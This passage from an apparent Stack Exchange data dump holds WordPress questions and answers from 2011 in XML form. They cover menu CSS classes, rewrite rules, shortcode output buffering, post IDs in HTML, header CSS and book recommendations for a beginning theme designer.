  <row Id="9677" PostTypeId="2" ParentId="9585" CreationDate="2011-02-17T22:41:56.153" Score="1" ViewCount="" Body="&lt;p&gt;a bit hacky, but it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_css_class', 'remove_some_menu_classes', 420 ,3);&#xA;function remove_some_menu_classes($classes, $item, $args){&#xA;  if(strpos($item-&amp;gt;url, '#order') !== false)&#xA;    // in the 2nd array put the classes you want removed&#xA;    return array_diff($classes, array('current_page_item', 'current-menu-item'));&#xA;&#xA;  return $classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-17T22:41:56.153" CommentCount="3" />
  <row Id="9678" PostTypeId="2" ParentId="9419" CreationDate="2011-02-17T23:00:30.343" Score="1" ViewCount="" Body="&lt;p&gt;Since I'm a familiar with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9455/custom-post-type-permalinks-giving-404s&quot;&gt;your other question&lt;/a&gt;, I'll answer with that in mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this at all, but it might work if you execute this once right after you register all the permastructs you want.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class RRSwitcher {&#xA;  var $rules;&#xA;  function RRSwitcher(){&#xA;    add_filter( 'topic_rewrite_rules', array( $this, 'topics' ) );&#xA;    add_filter( 'rewrite_rules_array', array( $this, 'rules' ) );&#xA;  }&#xA;  function topics( $array ){&#xA;    $this-&amp;gt;rules = $array;&#xA;    return array();&#xA;  }&#xA;  function rules( $array ){&#xA;    return array_merge( (array)$array, (array)$this-&amp;gt;rules );&#xA;  }&#xA;}&#xA;$RRSwitcher = new RRSwitcher();&#xA;global $wp_rewrite;&#xA;$wp_rewrite-&amp;gt;use_verbose_rules = true;&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does: it removes the rewrite rules generated from the topics permalink from the normal flow of the rules array and re-merges them at the end of the array. This prevents those rules from interfering with any other rewrite rules. Next, it forces verbose rewrite rules (each page gets an individual rule with a specific regular expression). This prevents the pages from interfering with your topic's rules. Finally, it executes a hard flush (make sure your .htaccess file is writable, otherwise this won't work) and saves the very large very complicated array of rewrite rules.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T23:00:30.343" CommentCount="1" />
  <row Id="9680" PostTypeId="2" ParentId="1714" CreationDate="2011-02-17T23:16:20.223" Score="0" ViewCount="" Body="&lt;p&gt;If i understand it well, you want it for inital instalation - then i am affraid your approach is totally wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Far better, easier and standardised way is to create install.php and put it in wp-content folder - it is automaticaly loaded during installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can put your own wp_install function (as the wordpress own function uses if (!function_exist) ) so there you can easily setup your options, activate plugins, fill initial posts, categories, tags, users ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option may be for situation, where you want to clear the allready existing wp (e.g. for demo version set up every e.g. 30 minutes using cron) - you can a) trunctate database and use procedure above, or create the plugin who do the same. &lt;/p&gt;&#xA;" LastActivityDate="2011-02-17T23:16:20.223" CommentCount="1" />
  <row Id="9681" PostTypeId="2" ParentId="9675" CreationDate="2011-02-17T23:21:36.740" Score="1" ViewCount="" Body="&lt;p&gt;Use the plugin &lt;a href=&quot;https://github.com/toscho/Germanix-WordPress-Plugin&quot; rel=&quot;nofollow&quot;&gt;Germanix URL&lt;/a&gt;. It converts image names on upload to save characters (and creates much better permalinks than WP).&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-02-17T23:21:36.740" CommentCount="10" />
  <row Id="9682" PostTypeId="1" AcceptedAnswerId="9683" CreationDate="2011-02-17T23:49:44.017" Score="4" ViewCount="215" Body="&lt;p&gt;I have a friend who has a background in graphic design. She has taken a particular interest to web design. I am a software developer/system administrator, not a web developer, and I'm certainly not a designer; I couldn't design a good-looking site to save my life. However, I am aware of the technologies involved and the skills that she would need to acquire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first book, I have recommended &lt;a href=&quot;http://headfirstlabs.com/books/hfhtml/&quot; rel=&quot;nofollow&quot;&gt;Head First HTML with CSS &amp;amp; XHTML&lt;/a&gt; for it's non-threatening, yet practical approach to teaching. This book introduces the reader to the modern technologies which are used by the browser to display web pages, and explains how to use them. As most of you know, that is only the tip of the iceberg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most sites today rely on some sort of back-end (CMS, et cetra). So, any web designer should be able to work with at least one kind of CMS. I think WordPress would be a great place to start (and who knows, maybe even specialise in) because it is highly scalable, yet easy to use for developers, designers, server administrators, and end users alike. It is used by individuals, small businesses, and enterprise. At the same time, it is simple enough to design for that I don't think it would scare her off with too much programming. Disclaimer: I use WordPress for most of my personal sites, so I am more than a tad bias. However, I'm not sure which book/tutorial to recommend to her for WordPress design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a list of books which I have found, and my thoughts on them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://headfirstlabs.com/books/hfwordpress/&quot; rel=&quot;nofollow&quot;&gt;Head First WordPress: A Brain-Friendly Guide to Creating Your Own Custom WordPress Blog&lt;/a&gt; - It explains in plains in plain English what WordpPess is, how it works, and how to use it. I love the format for this purpose, but it has a very short theme chapter. It may be good for supplementary reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tdh.me/my-books/smashing-wordpress-beyond-the-blog/&quot; rel=&quot;nofollow&quot;&gt;Smashing WordPress: Beyond the Blog (Smashing Magazine Book Series)&lt;/a&gt; -  It is well laid out, and up to date. It has an entire section on WordPress theme development. But, I would prefer a book which specialises in theme development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.packtpub.com/wordpress-28-theme-design/book&quot; rel=&quot;nofollow&quot;&gt;WordPress 2.8 Theme Design&lt;/a&gt; - This book is written to be a step-by-step guide to designing, building, and tweeking a WordPress theme. But, it's a bit out of date. Could this be a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;Build Your Own Wicked Wordpress Themes&lt;/a&gt; - I have mixed feelings about this book. Is moderen, design orientated, and nice to look at. However, it bases much of of the work on the Automattic theme framework. On one hand, this minimises hand-coding, making it easy to learn and use, especially for someone without a background in programming. On the other hand, I'm concerned that such an approach might not prepare one for the &quot;real world&quot; of theme development, if one ends up applying for work at a design company, rather than doing freelance work. Is this a valid concern? How widely are frameworks used? As I said, web design/development is not my field, so I don't know much about the industry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3262" LastEditorUserId="3276" LastEditorDisplayName="" LastEditDate="2011-02-18T11:43:53.030" LastActivityDate="2011-02-18T16:16:23.457" Title="Which WordPress books should I recommend to a beginning web designer?" Tags="&lt;books&gt;" AnswerCount="6" CommentCount="1" />
  <row Id="9683" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T00:31:15.043" Score="3" ViewCount="" Body="&lt;p&gt;I thought Build Your Own Wicked Wordpress Themes was really helpful. Note that the book actually uses the Thematic Framework for point of reference and example code. A book that has been fantastic, and therefore I recommend, is called Digging Into WordPress.&lt;/p&gt;&#xA;" OwnerUserId="2125" LastActivityDate="2011-02-18T00:31:15.043" CommentCount="1" />
  <row Id="9684" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T00:38:22.707" Score="3" ViewCount="" Body="&lt;p&gt;Regardless of how often frameworks are used overall, there isn't just one, but many; so, being able to build a theme from scratch is a much more valuable skill, since you're not tied to a certain framework.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-18T00:38:22.707" CommentCount="1" />
  <row Id="9685" PostTypeId="2" ParentId="9419" CreationDate="2011-02-18T00:43:59.907" Score="2" ViewCount="" Body="&lt;p&gt;You will not be able to do this using WP_Rewrite alone, since it can't distinguish between term slugs and post slugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to also hook into 'request' and prevent the 404, by setting the post query var instead of the taxonomy one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fix_post_request( $request ) {&#xA;    $tax_qv = 'forum';&#xA;    $cpt_name = 'post';&#xA;&#xA;    if ( !empty( $request[ $tax_qv ] ) ) {&#xA;        $slug = basename( $request[ $tax_qv ] );&#xA;&#xA;        // if this would generate a 404&#xA;        if ( !get_term_by( 'slug', $slug, $tax_qv ) ) {&#xA;            // set the correct query vars&#xA;            $request[ 'name' ] = $slug;&#xA;            $request[ 'post_type' ] = $cpt_name;&#xA;            unset( $request[$tax_qv] );&#xA;        }&#xA;    }&#xA;&#xA;    return $request;&#xA;}&#xA;add_filter( 'request', 'fix_post_request' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the taxonomy has to be defined &lt;em&gt;before&lt;/em&gt; the post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a good time to point out that having a taxonomy and a post type with the same query var is a Bad Idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you won't be able to reach posts that have the same slug as one of the terms.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-18T01:27:02.147" LastActivityDate="2011-02-18T01:27:02.147" CommentCount="1" />
  <row Id="9686" PostTypeId="2" ParentId="715" CreationDate="2011-02-18T01:15:10.987" Score="6" ViewCount="" Body="&lt;h1&gt;Provide Help Screens for users&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It is nicer to say RTFM (click help) as an answer than having to answer the question time and time again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * Add contextual help for this screen&#xA;  * &#xA;  * @param $rtfm&#xA;  * @uses get_current_screen&#xA;  */ &#xA;  function ContextualHelp( /*string*/ $rtfm) &#xA;  { &#xA;     $current_screen = get_current_screen();&#xA;     if ($current_screen-&amp;gt;id == $this-&amp;gt;_pageid) &#xA;     {&#xA;        $rtfm .= '&amp;lt;h3&amp;gt;The WordPress Plugin - Screen A&amp;lt;/h3&amp;gt;';&#xA;        $rtfm .= '&amp;lt;p&amp;gt;Here are some tips: donate to me ' .&#xA;     }&#xA;     return $rtfm; &#xA;  }&#xA;add_action('contextual_help', array($this,'ContextualHelp'),1,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*&lt;em&gt;update / note: *&lt;/em&gt; (see comments from kaiser): the above example is to be used in a class&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2011-02-19T08:56:50.107" LastActivityDate="2011-02-19T08:56:50.107" CommunityOwnedDate="2011-02-18T01:15:10.987" CommentCount="2" />
  <row Id="9687" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T01:35:23.777" Score="1" ViewCount="" Body="&lt;h2&gt;Professional WordPress: Design and Development&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just read &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Professional WordPress: Design and Development&#xA;by Hal Stern, David Damstra and Brad Williams &#xA;Wrox Press © 2010 (408 pages)&#xA;ISBN:9780470560549&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/FNlO5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on &lt;img src=&quot;http://www.google.com/s2/favicons?domain=www.books24x7.com&quot; alt=&quot;books24x7&quot;&gt; books24x7 (where there are MANY WordPress books) (tip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall I mostly like the Wrox books since they are mostly good as was the case with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched the Internet for reviews and overall it gets very good reviews.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-18T01:35:23.777" CommentCount="2" />
  <row Id="9688" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T02:09:01.220" Score="2" ViewCount="" Body="&lt;p&gt;It's not a book, but I highly recommend a Lynda.com video course called &lt;a href=&quot;http://www.lynda.com/home/DisplayCourse.aspx?lpk2=67160&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;WordPress 3: Creating and Editing Custom Themes&lt;/em&gt;&lt;/a&gt;. It's only 4.5 hours long, so she could do it in a day or so. One month of Lynda.com is between $25-$37.50, depending on whether you want the exercise files. She probably does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's by Cris Coyier, who is one of the co-authors of &lt;em&gt;Digging into WordPress&lt;/em&gt;. Chris not only knows his stuff, he can &lt;em&gt;communicate&lt;/em&gt; that knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both Wendy (my designer) and I got a lot out of this. Chris takes a design from a rough concept, through to a full, multilayer Photoshop mockup, converts it to a clean HTML/CSS static page, and then converts that into a WP 3 template. Although he doesn't go that deeply into using lots of WP's new functionality, he does take you from blank page to something that looks pretty damn good sitting on top of WP. I liked seeing the design process in action, she liked seeing static HTML turned into a real template right before her eyes. She said it took a lot of the mystery / fear out of it for her.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confession: I didn't know if it would be any good, so I grabbed a torrent of it. As soon as I had finished it I turned right around and signed up for Lynda.com so they would get their money, albeit a bit ex post facto. I definitely think it's worth the time and the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Brain fade:&lt;/em&gt; &lt;code&gt;%s/template/theme/g&lt;/code&gt; I was working on a Django site all day enhancing some &lt;em&gt;templates&lt;/em&gt; so ... oh, never mind.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-18T16:16:23.457" LastActivityDate="2011-02-18T16:16:23.457" />
  <row Id="9690" PostTypeId="1" AcceptedAnswerId="9695" CreationDate="2011-02-18T02:34:49.063" Score="0" ViewCount="69" Body="&lt;p&gt;If possible I want to insert the ID of a post(from a custom post type) into the html of the post itself when its loaded in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scenario is that the content of the custom post type is surrounded by a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. I want to append an 'id' to the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; that includes the ID of the post. For example if the custom post type is glossary and the post ID is 351 then the resulting html would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div id=&quot;glossary351&quot;&amp;gt;&#xA;Post content&#xA;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the conditional statements and googled on the subject but found that &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A lot of applications of finding the Post ID were to do with showing the ID on the page, as opposed to inserting it into the html.&lt;/li&gt;&#xA;&lt;li&gt;My almost non existent PHP skills were not up to fathoming out how to use the conditionals to get the result I need.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any pointers regarding:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this possible&lt;/li&gt;&#xA;&lt;li&gt;Any examples of how to approach the problem&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2011-02-18T03:36:13.450" Title="Is it possible to read the ID of a post and then insert it into the html of the post?" Tags="&lt;html&gt;&lt;custom-post-types&gt;" AnswerCount="3" />
  <row Id="9691" PostTypeId="2" ParentId="9690" CreationDate="2011-02-18T02:50:47.020" Score="1" ViewCount="" Body="&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_ID&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_ID&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Function Reference/get the ID&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Description&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Returns the numeric ID of the current post. This tag must be within The Loop.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Usage&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_the_ID(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Parameters&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This tag has no parameters.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Examples&lt;/h3&gt;&#xA;&#xA;&lt;h3&gt;Store the ID&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The ID can be stored as a variable using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $postid = get_the_ID();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Post Anchor Identifier&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;get_the_ID() Can be used to provide a unique anchor in a script. For instance, a dynamically-generated drop down menu with actions for each post in an archive could have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $id = get_the_ID();&#xA; $dropdown = &quot;&amp;lt;select name='dropdown-&quot;.$id.&quot;' &amp;gt;&quot;;&#xA; $dropdown .= &quot;&amp;lt;option id='option1-&quot;. $id .&quot;'&amp;gt;&quot;Option 1&amp;lt;/option&amp;gt;&quot;;&#xA; $dropdown .= &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would allow us to use JavaScript to control the element as it has a unique ID, and when submitting it as a form through the POST or GET methods the dropdown box will be sent with a unique ID which allows the script to note which post it is working on. Alternatively a hidden variable could be sent which will allow the script to see which post the submission is referring to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;activepost&quot; id=&quot;activepost&quot; value=&quot;'.get_the_ID().'&quot; /&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the ID is not called within PHP, then we can use the_ID rather than echo get_the_ID();&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-02-18T02:50:47.020" CommentCount="1" />
  <row Id="9692" PostTypeId="1" AcceptedAnswerId="9762" CreationDate="2011-02-18T03:09:38.057" Score="0" ViewCount="155" Body="&lt;p&gt;i went to upgrade my plugins and it never came back .. now when i go to my blog i get an error stating:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The service is unavailable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i tried renaming the &quot;upgrade&quot; folder under wp-content but that didn't seem to do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1195" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-18T04:39:20.603" LastActivityDate="2011-02-18T17:30:16.590" Title="WordPress crashes with &quot;The service is unavailable.&quot; after trying to upgrade plugins" Tags="&lt;plugins&gt;&lt;upgrade&gt;" AnswerCount="1" />
  <row Id="9693" PostTypeId="1" AcceptedAnswerId="9696" CreationDate="2011-02-18T03:14:22.703" Score="0" ViewCount="76" Body="&lt;p&gt;For some reason, my posts content (the content placed outside of the shortcodes I have set up) is only displaying below all the shortcodes, no matter where I place content in the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I could set up a post like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[boxes cat=&quot;Features&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;test content here&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[boxes cat=&quot;Reviews&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the test content will display below the Features AND the Reviews. Why would it do that? Some of my shortcodes use the php &lt;code&gt;include&lt;/code&gt;. Here's an example of one of my shortcodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function free_ms_cms( $atts, $content = null ) {&#xA;   $free_ms = TEMPLATEPATH . '/get-free-ms.php';&#xA;   include($free_ms);&#xA;}&#xA;add_shortcode( 'free-ms', 'free_ms_cms' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone able to help? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-02-18T03:35:27.973" LastActivityDate="2011-02-18T13:14:14.480" Title="Post Content Displaying Below ALL Shortcodes Content" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="9694" PostTypeId="1" CreationDate="2011-02-18T03:17:23.443" Score="0" ViewCount="286" Body="&lt;p&gt;I've almost got this figured out, but I'm a total newbie to coding and this last bit is confusing me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get my logo &quot;mascot&quot; to be flush with the top line of my header, and sitting 'on' the navigation bar at the bottom. I have a pic on the website of exactly what I'm talking about on the website. (&lt;a href=&quot;http://bloggingbuddhist.com&quot; rel=&quot;nofollow&quot;&gt;bloggingbuddhist.com&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've figured out how to get it to sit up against the top of the header area, but getting it down all the way (and a bit overlapping even) is confusing me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm manipulating is below, it looks like I have to actually manipulate the menu navigation bar as well... if not even more then that. Any ideas what to do to get that whole section to sit up flush like I have in that picture on the site? &lt;strong&gt;THANK YOU!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#logo {&#xA;float:left;&#xA;height:150px;&#xA;overflow:hidden;&#xA;padding:10px 0 0px 10px;&#xA;}&#xA;&#xA;#logo #h1{&#xA;float:left;&#xA;font-family:Georgia, serif;&#xA;font-size:48px;&#xA;}&#xA;&#xA;#logo #h2 {&#xA;color:#777;&#xA;float:left;&#xA;font-size:13px;&#xA;padding:5px 20px 10px;&#xA;}&#xA;&#xA;#logo #h1 a {&#xA;text-decoration: none;&#xA;color:#999;&#xA;border:0;&#xA;}&#xA;#logo #h1 a:hover, #logo #h1 a:visited, #logo #h1 a:link {&#xA;border:0;&#xA;}&#xA;&#xA;#header-icons {&#xA;position:absolute;&#xA;right:0;&#xA;margin-top:10px;&#xA;z-index:99;&#xA;}&#xA;&#xA;#header-icons .twitter,&#xA;#header-icons .rss{&#xA;height:27px;&#xA;width:160px;&#xA;margin:16px 25px;&#xA;}&#xA;#header-icons .twitter{&#xA;background: url(&quot;img/twitter.png&quot;) no-repeat scroll 0 0 transparent;&#xA;}&#xA;&#xA;#header-icons .rss{&#xA;background: url(&quot;img/rss.png&quot;) no-repeat scroll 0 0 transparent;&#xA;}&#xA;&#xA;#header-icons .twitter a,&#xA;#header-icons .rss a{&#xA;padding:10px 80px;&#xA;border:0;&#xA;}&#xA;&#xA;#menu {&#xA;background:url(&quot;img/menu-bg.png&quot;) no-repeat scroll 0 top transparent;&#xA;clear:both;&#xA;margin:0 auto 0 -4px;&#xA;width:1052px;&#xA;}&#xA;&#xA;.menu-bottom {&#xA;background:url(&quot;img/menu-bottom-bg.png?m&quot;) no-repeat scroll 0 bottom transparent;&#xA;padding-bottom:16px;&#xA;}&#xA;&#xA;#menu ul {&#xA;background:url(&quot;img/menu-curve-bg.png&quot;) no-repeat scroll left top #f1f1f1;&#xA;list-style:none outside none;&#xA;margin:0 30px;&#xA;padding:0px 10px 0 40px;&#xA;text-align:right;&#xA;float:right;&#xA;}&#xA;&#xA;#menu li {&#xA;display: inline;&#xA;padding:14px 0 11px;&#xA;border-left:1px solid transparent;&#xA;border-right:1px solid transparent;&#xA;white-space:nowrap;&#xA;position:relative;&#xA;}&#xA;&#xA;#menu li.current_page_item,&#xA;#menu li.current_page_item:hover {&#xA;background-color: #fafafa;&#xA;border-left:1px solid #E5E5E5;&#xA;border-right:1px solid #E5E5E5;&#xA;}&#xA;&#xA;#menu a {&#xA;border:0 none;&#xA;color:#a1a1a1;&#xA;font-size:16px;&#xA;font-weight:bold;&#xA;text-decoration:none;&#xA;text-shadow:1px 1px 0px #fff;&#xA;padding:10px 40px;&#xA;line-height:40px;&#xA;}&#xA;#menu a:hover, &#xA;#menu a:active,&#xA;#menu li.current_page_item a:link,&#xA;#menu li.current_page_item a:visited,&#xA;#menu li.current_page_item a:hover,&#xA;#menu li.current_page_item a:active{&#xA;color:#999;&#xA;border:0;&#xA;}&#xA;&#xA;#menu li:hover {&#xA;background-color: #f7f7f7;&#xA;border-left:1px solid #E5E5E5;&#xA;border-right:1px solid #E5E5E5;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-18T04:37:40.417" LastActivityDate="2011-02-18T04:37:40.417" Title="Help with a little CSS logo/header modification?" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9695" PostTypeId="2" ParentId="9690" CreationDate="2011-02-18T03:17:52.293" Score="-1" ViewCount="" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;&amp;lt;?php the_title(); ?&amp;gt;-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should give you a result of: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;Post Title-PostID&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Giving you a unique wrapper for each post.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-18T03:17:52.293" CommentCount="6" />
  <row Id="9696" PostTypeId="2" ParentId="9693" CreationDate="2011-02-18T03:30:27.977" Score="3" ViewCount="" Body="&lt;p&gt;Are your shortcodes setup correctly?  This usually means that your shortcode handling is echoing the shortcode content instead of returning it as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your case, while you are including a file in your shortcode, I doubt that you have the file setup to return the output instead of echo'ing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function free_ms_cms( $atts, $content = null ) {&#xA;   $free_ms = TEMPLATEPATH . '/get-free-ms.php';&#xA;   ob_start(); //start an output buffer to capture any output&#xA;   include($free_ms);&#xA;   return ob_get_clean(); //return the current buffer and clear it&#xA;}&#xA;add_shortcode( 'free-ms', 'free_ms_cms' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastEditorUserId="203" LastEditorDisplayName="" LastEditDate="2011-02-18T13:14:14.480" LastActivityDate="2011-02-18T13:14:14.480" CommentCount="4" />
  <row Id="9697" PostTypeId="2" ParentId="9694" CreationDate="2011-02-18T03:30:30.007" Score="1" ViewCount="" Body="&lt;p&gt;Adding this line to your css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#logo img {height: 190px; position: absolute;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do it, you will need to make the background of the image transparent though.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-02-18T03:30:30.007" CommentCount="2" />
  <row Id="9698" PostTypeId="2" ParentId="9690" CreationDate="2011-02-18T03:36:13.450" Score="0" ViewCount="" Body="&lt;p&gt;I would also suggest using WordPress' built in post_class() function to add classes to the div as well, so the resulting code would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2011-02-18T03:36:13.450" CommentCount="1" />
  <row Id="9699" PostTypeId="2" ParentId="9682" CreationDate="2011-02-18T05:12:21.197" Score="0" ViewCount="" Body="&lt;p&gt;O'Reilly's PHP, MySQL and Javascript&#xA;&lt;a href=&quot;http://oreilly.com/catalog/9780596157142/&quot; rel=&quot;nofollow&quot;&gt;http://oreilly.com/catalog/9780596157142/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm going to disagree on your definition of WordPress as a scalable CMS, but I suppose that's a different discussion all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I'd recommend a description of the actual tools used to build the backend, modules, themes etc.. With a WordPress specific book they might know some basics about which little variable gets placed where but it'll take a while for someone to actually understand what's going on. Even if they are quick to pick up what each of those WordPress specific things mean, they're going to have a TOUGH time moving to something that's nothing like WordPress. WordPress is a decent starting point, but I would say the person might want to be able to move past the administrative disaster that is WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again I'd like to stress that someone shouldn't go from basic learning of HTML/CSS to a WordPress specific book as its likely to have them very narrow-viewed if they'd ever like to move on with their 